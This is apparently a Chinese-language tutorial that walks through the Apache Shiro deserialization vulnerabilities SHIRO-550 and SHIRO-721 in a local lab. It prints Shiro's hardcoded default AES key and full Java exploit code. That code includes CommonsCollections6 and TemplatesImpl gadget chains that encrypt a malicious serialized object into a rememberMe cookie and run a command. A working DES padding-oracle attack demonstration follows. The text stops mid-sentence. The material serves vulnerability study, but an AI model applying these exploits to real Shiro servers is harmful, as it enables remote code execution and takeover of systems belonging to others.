0x00 前言
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。
使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
我们都知道Shiro反序列化的漏洞有两个,550和721,这两个不是版本,是apache官方issue的编号。
https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-550
https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-721
0x01 Shiro-550分析
环境
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
Shiro版本:1.2.4
pom文件配置:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>shirodemo</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>shirodemo Maven Webapp</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
</dependencies>
<build>
<finalName>shirodemo</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
用的shiro是P神的环境:https://github.com/phith0n/JavaThings/tree/master/shirodemo
1、shiro-core、shiro-web,这是shiro本身的依赖
2、javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
3、slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖 commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
4、commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
也可以自己新建一个maven项目:
如果遇到maven不会自动下载source的话可以尝试在目录下执行下面的命令即可:
mvn dependency:sources -DdownloadSources=true -DdownloadJavadocs=true
配置完后install:
配置下tomcat的服务器:
选择这个war:
如果出现了其他问题可以看下文末的参考链接。
加密过程
我们知道shiro都是根据cookie里面的rememberMe进行利用的,那过程到底是如何呢?
我们尝试登陆一下看看,记得勾选remember me:
可以看到返回的http头里面新增了Set-Cookie,rememberMe还有一串字符。
可到这里我们想分析,不知何从下手,我们知道javaweb是根据web.xml进行路由判断然后进入过滤器等等的,我们在web.xml里面就写了这句:
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
意思就是说访问根目录就要走这个过滤器,那么我们跟进去看看:
继承于AbstractShiroFilter类,AbstractShiroFilter又继承于OncePerRequestFilter类,这里就是开始的地方,无论你是GET还是POST都会从这里开始,但是呢中间会有很多各种调用,会比较繁琐,所以不用太纠结要不要从Web程序的开头就分析,而且在文章当中这样分析会让整篇文章会得很臃肿,看起来没什么条理性,所以推荐大家理解漏洞原理即可,不必太深究:
这里我们就从登陆处开始分析org.apache.shiro.mgt.DefaultSecurityManager
,因为只要登陆都会经过这里的Login方法,如果是直接用Get方式带上cookie就不走这里了,在下面的解密过程会分析到,我们在这里下个断点,然后authenticate方法验证凭证的正确性,如果不正确就不走下面的onSuccessfulLogin方法:
继续往下走就会走到rememberMeSuccessfulLogin方法:
因为怕截图太多,有一些不必要的就直接过就行了,不用走进去,往下走进onSuccessfulLogin方法。
进到里面不用走forgetIdentity,这里有一个判断isRememberMe的方法就是我们的有没有勾选RememberMe,如果没有就不走rememberIdentity,rememberIdentity是我们加密的关键方法:
进行往下走到rememberIdentity方法,然后会进到convertPrincipalsToBytes方法:
这里面会序列化principals对象,也就是登陆名称root字符串。很好,已经到了关键的地方了:
走进去,会发现一个就是我们固定key的地方了:
但是这个没有写值:
private byte[] encryptionCipherKey;
但是在构造方法里面有一个方法setCipherKey
,可以看到传入有一个常量DEFAULT_CIPHER_KEY_BYTES
:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
这里就保存我们常见的key了,返回时byte类型:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
再继续跟进去encrypt方法就是AES加密的流程了,我们走完加密就会回到rememberIdentity方法,下面有个rememberSerializedIdentity方法,这里就是把rememberme写到cookie里面:
整个加密过程不是很复杂:
1、序列化principals对象的值(root)
2、将序列化后principals对象的值跟DEFAULT_CIPHER_KEY_BYTES进行AES加密,iv为随机,模式为CBC
3、生成Base64字符串,写入Cookie
解密过程
我们可以在Get方法加上我们有rememberMe的Cookie:
解密就不需要从登陆口进行分析了,还记得我们刚开始的时候分析到了org.apache.shiro.web.servlet.OncePerRequestFilter
,这时候我们就可以从这里doFilterInternal方法下断点开始跟:
往下走到createSubject方法:
继续往下走buildWebSubject方法,不要怕,继续走到buildSubject->createSubject方法,可以看到我们主要的resolvePrincipals方法了:
跟进去,到getRememberedIdentity这个方法进去,继续往下跟getRememberedPrincipals方法,不要怕下面不是很复杂的。可以看到我们熟悉的两个方法getRememberedSerializedIdentity
、convertBytesToPrincipals
:
- getRememberedSerializedIdentity
这个方法主要是获取cookie的RememberMe的值并进行Base64解码
- convertBytesToPrincipals
这个方法是将上面获取到的密文进行解密并进行反序列化的
我们进行往下跟convertBytesToPrincipals方法里面的decrypt,解密的key也就是我们上面加密的固定可以,可以看下iv的值怎么获取的:
iv值也就是密文的前16位,密文减掉前面的iv就是要解密的密文了,然后拿着密文+key+iv进行AES的解密流程。
解密完之后就会进到反序列化的过程:
漏洞利用
我们了解整个解密流程,那漏洞利用的思路就是:
1、编写恶意的CC链,并转换成字节码
2、使用里面固定的key加密我们的CC链并进行序列化
2、放到Cookie里面的rememberMe进行访问
那第一步就是编写恶意的CC链,我们可以用CC6,因为没有JDK的版本限制,比较通用。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
Map hashMap1 = new HashMap();
Map lazymap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"2");
lazymap.remove("11");
Class c = LazyMap.class;
Field ifield = c.getDeclaredField("factory");
ifield.setAccessible(true);
ifield.set(lazymap,chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
//改写的部分
//利用固定的key对我们的hashMap2进行序列化
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(hashMap2);
//对序列化后的字节码进行AES进行加密
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
//输出Base64的字符串,也可以用
//Base64.encodeToString(ciphertext.getBytes()),aes.encrypt返回的是SimpleByteSource
System.out.printf(ciphertext.toString());
oss.close();
}
}
然后我们把生成Base64的字符串放到Cookie当中,会发现报错了这里P神有解释过:
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
那么我们可以进行改写一下,上半部分有点像CC2,使用TemplatesImpl,然后不用Transformer数组,只用一个InvokerTransformer方法。
恶意类EvilTemplatesImpl的代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTemplatesImpl () throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
最终改写后的的CC6为:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class expShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);
Map hashMap1 = new HashMap();
Map lazymap = LazyMap.decorate(hashMap1,newTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,obj);
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"2");
lazymap.clear();
setFieldValue(newTransformer,"iMethodName","newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(hashMap2);
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
oss.close();
}
}
成功触发了我们的恶意代码:
0x02 Shiro-721分析
看了一天这CBC字节翻转攻击和Padding Oracle攻击的文章,千篇一律,都是一个套路去写文章,不过有一篇《shiro721 Padding Oracle Attack详细分析(一)》确实让我看懂了,文章链接放参考。
首先我们要理解这个漏洞要明白几个事情
1、CBC字节翻转攻击和Padding Oracle攻击都不需要去深入理解AES或者DES的加密
2、Padding Oracle攻击在Shiro-550也同样存在,但在1.4.2的版本之后就换成了GCM的模式
3、耐心慢慢来
环境
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
Shiro版本:1.4.1
pom文件配置:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>shirodemo</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>shirodemo Maven Webapp</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.4.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.4.1</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.11</version>
</dependency>
</dependencies>
<build>
<finalName>shirodemo</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
CBC加密模式分析
相信大家看了网上琳琅满目的文章都头晕眼花了吧,我一开始也是,关于这个漏洞要么就是那几个图用来用去,要么就是直接上工具怎么利用漏洞。这里我先给大家先从小的开始讲,理解一个块加密后再去理解多个块加密,这样一来就很好理解整个加密是怎么运转的了。
一组加密
我们知道AES和DES都是对称加密,会把明文分成几个组,然后对这几个组进行加密。但是我们要理解先从一组的加解密开始,这样就会说上来就地狱级难度了。
那么加密需要有哪些因素来参与呢?
1、明文
2、IV(初始向量)
3、密钥
我们直接上例子,比如加密明文"test",明文会先跟iv进行异或(XOR),然后再使用密钥进行DES的加密得到密文:
我们可以看到DES加密是8字节一组,那么test后面4个空位是需要填充,这正是CBC模式加密的要求。
看下填充的规则:
因为是从一组开始讲所以,0x08是放到第二组了的。
这里最重要还是要理解XOR(异或)这个原理:
XOR 全称为exclusive OR
,简写为XOR,中文称为异或运算。
异或运算是一种数学运算符,主要应用于逻辑运算和计算机体系中的位运算。异或运算的数学符号常表示为“⊕”,运算法则为:
A ⊕ B = (¬A ∧B) ∨ (A ∧¬B)
简单研究下1个位(比特)的异或运算。
0 ⊕ 0 = 0;(0与0异或运算的结果为0)
0 ⊕ 1 = 1;(0与1异或运算的结果为1)
1 ⊕ 0 = 1;(1与0异或运算的结果为1)
1 ⊕ 1 = 0;(1与1异或运算的结果为0)
异或运算可以类比于奇偶数的加法运算或者是翻牌处理。在按位运算的过程中,参与运算的数值只有两种可能,那么为0要么为1,在这里0为偶数,1位奇数,可以得出下面的运算特征,我们发现结果和异或运算是一致的。
偶数 + 偶数 = 偶数;(偶数与偶数相加运算的结果为偶数)
偶数 + 奇数 = 奇数;(偶数与奇数相加运算的结果为奇数)
奇数 + 偶数 = 奇数;(奇数与偶数相加运算的结果为奇数)
奇数 + 奇数 = 偶数;(奇数与奇数相加运算的结果为偶数)
那解密过程又是如何的呢?那就是反过来就行了:
看起来貌似好像也不难对吧,然后我们下来就开始来理解什么是CBC字节翻转攻击
和Padding Oracle Attack
。
在这之前我们可以认识一下两个攻击的用途:
1、CBC字节翻转攻击是用来修改明文的
2、Padding Oracle Attack是用来猜解明文的
CBC字节翻转攻击
所谓的字节翻转也就是在XOR的过程发生的,比如原本的明文为:
test:0
那么通过翻转攻击后就能变成:
test:1
可以想象一下后面的1和0在很多鉴权的程序当中就是判断管理员权限的一种写法。
那我们怎么实现呢?
假如我们现在是登陆一个普通用户,拿到cookie,但cookie是通过DES加密的:
Cookie: user=31032333435363738FABFFB1F91CBC60B
看到这串东西不要怕,我们慢慢来分析,首先我们先把前十六位拿到出来,因为这个是IV,后面十六位才是密文:
密文:0xFA 0xBF 0xFB 0x1F 0x91 0xCB 0xC6 0x0B
IV:0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
如果我们需要解密的流程如下:
密钥我们是不知道的,但是服务器会帮我把密文进行解密,那么我们能控制的只有IV值。
从上面的XOR原理我们可以知道:
密文通过DES解密后的值就表示中间值
明文 XOR IV = 中间值
那么如果我们只知道密文和IV:
中间值 XOR IV = 明文
而且还有一条规则是:
中间值 XOR 0 = 中间值
是不是在密文不改变的情况下,我们只要去修改IV就能改变明文的值了!
有同学会问,改变iv那整个解密不是不完整了吗?回到上面的图,可以看到密文先是通过服务器的DES解密(密钥在服务器),然后再和我们的IV进行异或,所以IV的更改不会影响解密过程。
需要修改0的值是在第六位,那么我们就要和第六位的iv进行xor,首先我们要求出中间值的第六位十六进制是多少,我们先把第六位的iv值改为0x00:
0x31 0x32 0x33 0x34 0x35 0x00 0x37 0x38
然后进行解密,会得出中间值的第六位十六进制:
中间值第六位 XOR 0 = 06
那么再根据我们要修改的0为1,1的ASCII十六进制是0x31,然后我们计算:
中间值第六位(06) XOR 明文第六位(0x31) = iv第六位(0x37)
然后重新组成新的iv值为:
0x31 0x32 0x33 0x34 0x35 0x37 0x37 0x38
代入进行解密就可得到我们想要的值了:
Padding Oracle Attack
Oracle不是甲骨文公司,而是提示的意思。我们知道上面如果一组明文字符没有用满8字节的话,那么就会用对应的字节进行填充,那么这个填充就是padding。
在分组密码中,有两种常见的填充算法,分别是Pkcs5Padding和Pkcs7Padding。PKCS5Padding与PKCS7Padding基本上是可以通用的。在PKCS5Padding中,明确定义Block的大小是8位,而在PKCS7Padding定义中,对于块的大小是不确定的,填充值的算法都是一样的。
从上面的cbc翻转攻击我们知道怎么去修改解密出来的明文,但是我们是需要知道明文的长度的,如果在我们不知道明文是test:0的时候我们就没办法判断是怎么去修改的了。那么Padding Oracle Attack就能帮助我们判断填充值是多少,而且还可以利用Padding的报错回显的方式进行猜解中间值,拿到中间值然后我们通过下面的式子拿到明文:
中间值 XOR IV =明文
那是怎么一个原理呢?是利用了下面的xor去判断:
中间值 XOR 0 = 中间值
我们举个例子,这个中间值我们是不知道,但我们可以用这个来还原其中的原理,一个中间值为:
中间值:0x45 0x57 0x40 0x40 0x31 0x32 0x33 0x3C
如果我们用全0跟它异或肯定会报错的:
IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
由我们上面的填充图可知,明文xor后只有0x01-0x08所以xor后得到0x00是不对的,我们可以一个一个尝试,比如从0x01开始:
IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01
但是还是会报错,为什么呢,因为中间值的最后一位0x3C和IV的最后一位0x01通过xor没有等于0x01,所以会给出报错的信息,我们就需要一个一个去尝试,从0-255,也就是256次内会有一个正确的值,有点类似SQL注入的盲注,可以套用下面的公式
中间值(0x3C) XOR IV(?) = 0x01,中间值(0x3C) XOR 0x01 = 0x3D
因为我们不知道中间值是多少,只有服务器知道,所以只能采用盲注的方式进行猜解,我们传入的IV值是正确的:
IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x3D
以此类推,整个过程最多需要尝试256*8次也就是2048次,便可爆破出中间值。
爆出中间值,我们还可以利用该中间值去修改明文,也就是
中间值 XOR IV(?) = 修改后的明文
那么我们只要拿修改后的明文跟中间值进行XOR即可得出攻击的iv:
中间值 XOR 修改后的明文 = 攻击iv
下面是小茶包师傅的代码:
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import javax.crypto.spec.IvParameterSpec;
import java.io.*;
import java.util.Arrays;
public class DES_Test {
public static int flag = 0;
// 加密方法,plaintext代表明文,key代表密钥,iv代表初始向量
public static byte[] encrypt(byte[] plaintext, byte[] key, byte[] iv) {
byte[] ciphertext = null;
try {
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
//创建密钥对象
DESKeySpec keySpec = new DESKeySpec(key);
SecretKey secretKey = keyFactory.generateSecret(keySpec);
//创建iv对象
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
//指定使用DES加密算法,CBC模式,PKCS5Padding填充方式
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
//初始化cipher对象,Cipher.ENCRYPT_MODE代表这个cipher是用来加密的
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec);
//加密
ciphertext = cipher.doFinal(plaintext);
} catch (Exception e) {
e.printStackTrace();
}
return ciphertext;
}
//解密方法,ciphertext代表密文,key代表密钥,iv代表初始向量
public static byte[] decrypt(byte[] ciphertext, byte[] key, byte[] iv) {
byte[] plaintext = null;
flag = 0;
try {
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
//创建密钥对象
DESKeySpec keySpec = new DESKeySpec(key);
SecretKey secretKey = keyFactory.generateSecret(keySpec);
//创建iv对象
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
//指定使用DES加密算法,CBC模式,PKCS5Padding填充方式
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
//初始化cipher对象,Cipher.DECRYPT_MODE代表这个cipher是用来解密的
cipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec);
//解密
plaintext = cipher.doFinal(ciphertext);
//若程序能运行到这里,说明没有抛异常,也就是Padding部分满足N个0x0N规则,flag值将被置为1
flag = 1;
} catch (Exception e) {
// e.printStackTrace();
}
return plaintext;
}
//ciphertext代表密文,key代表密钥(服务器),iv代表初始向量(恶意构造的iv)
public static byte[] attackDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
byte[] tmp = new byte[8];
byte[] attackiv = new byte[8];
// 将byte数组0-7全部设为0x00
for (int i = 0; i < 7; i++) {
attackiv[i] = 0;
}
// 遍历数组,并为数组赋值,代表八个元素
for (int i = 1; i <= 8; i++) {
// 求attackiv的真实值,例如求最后一位的值:tmp[7] ^ 0x02
for (int x = 9 - i; x < 8; x++) {
attackiv[x] = (byte)(tmp[x] ^ i);
}
// 遍历0x00~0xff
for (int j = 0; j < 256; j++) {
// 从尾部到头遍历八个字符,8-1,8-2~8-8
attackiv[8 - i] = (byte) j; // 为当前字符赋值
decrypt(ciphertext, key, attackiv); // 解密,带入恶意attackiv
// 如果flag为1,说明解密成功,也就确定了tmp的值,attackiv[8 - i] ^ i
if(flag == 1) {
tmp[8 - i] = (byte) (j ^ i);
}
}
}
byte[] plaintext = new byte[8];
for (int i = 0; i < 8; i++) {
plaintext[i] = (byte) (iv[i] ^ tmp[i]);
}
//System.out.println("attackiv: " + bytesToHex(attackiv));
System.out.println("iv: " + bytesToHex(iv));
System.out.println("palintext: " + new String(plaintext));
return tmp;
}
public static String byteToHex(byte b)
{
String hexString = Integer.toHexString(b & 0xFF);
//由于十六进制是由0~9、A~F来表示1~16,所以如果Byte转换成Hex后如果是<16,就会是一个字符(比如A=10),通常是使用两个字符来表示16进制位的,
//假如一个字符的话,遇到字符串11,这到底是1个字节,还是1和1两个字节,容易混淆,如果是补0,那么1和1补充后就是0101,11就表示纯粹的11
if (hexString.length() < 2)
{
hexString = new StringBuilder(String.valueOf(0)).append(hexString).toString();
}
return hexString.toUpperCase();
}
public static String bytesToHex(byte[] bytes)
{
StringBuffer sb = new StringBuffer();
sb.append("[ ");
if (bytes != null && bytes.length > 0)
{
for (int i = 0; i < bytes.length; i++) {
String hex = byteToHex(bytes[i]);
sb.append("0x" + hex + " ");
}
sb.append(" ]");
}
return sb.toString();
}
public static byte[] hexStringToBytes(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
public static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
byte[] ciphertext = encrypt("test".getBytes(), "87654321".getBytes(), "12345678".getBytes());
byte[] tmp = attackDecrypt(ciphertext, "87654321".getBytes(), "12345678".getBytes());
System.out.println("tmp: " + bytesToHex(tmp));
// byte [] key = "87654321".getBytes();
// byte [] iv = "12345678".getBytes();
// byte[] ciphertext = encrypt(plaintext,key ,iv);
//`
// System.out.println("ciphertext: "+bytesToHex(ciphertext));
// for (int i = 0; i < 8; i++) {
// iv[i] = (byte) 0x00;
// }
// iv[7] = (byte) 0x3D;
// System.out.println("iv: "+bytesToHex(iv));
// byte[] decrypt = decrypt(ciphertext, key, iv);
// System.out.println(flag);
// //System.out.println(byteToHex(decrypt[5]));
// System.out.println(new String(decrypt));
// byte[] bytes = "testaaa".getBytes();
// byte[] newBytes = new byte[8];
// System.arraycopy(bytes, 0, newBytes, 0, bytes.length);
// newBytes[7] = (byte) 0x01;
// //System.out.println(Arrays.toString(newBytes));
// byte[] ivs = new byte[8];
// for (int i = 0; i < newBytes.length; i++) {
// ivs[i] = (byte)(newBytes[i] ^ tmp[i]);
// }
// System.out.println("attackiv: " +bytesToHex(ivs));
// byte[] decrypt = decrypt(ciphertext, key, ivs);
// System.out.println("修改后的明文: "+new String(decrypt));
}
}
多组加密
从一组加密我们分析了两个漏洞的原理和利用方式,那么CBC通常是以多组加密的方式进行的,多组加密的流程如下:
图片转载于参考链接中的作者-耶鲁信
可以看到多组加密就是:
1、第一组加密是使用初始化向量iv进行XOR,然后通过加密拿到密文1
2、第二组加密的在XOR使用的iv是上一组的密文1
3、以此类推直到分组结束
那么解密的过程呢?跟一组加解密还不一样:
可以看到的是:
1、解密从解密的第一组密文开始,使用iv也是第一组的初始化向量
2、那么解密第二组的密文的时候,先通过解密运算后使用的iv是第一组的密文
3、以此类推解密出最终的多组明文,然后组合起来就是真正的明文字符
比如密文为:
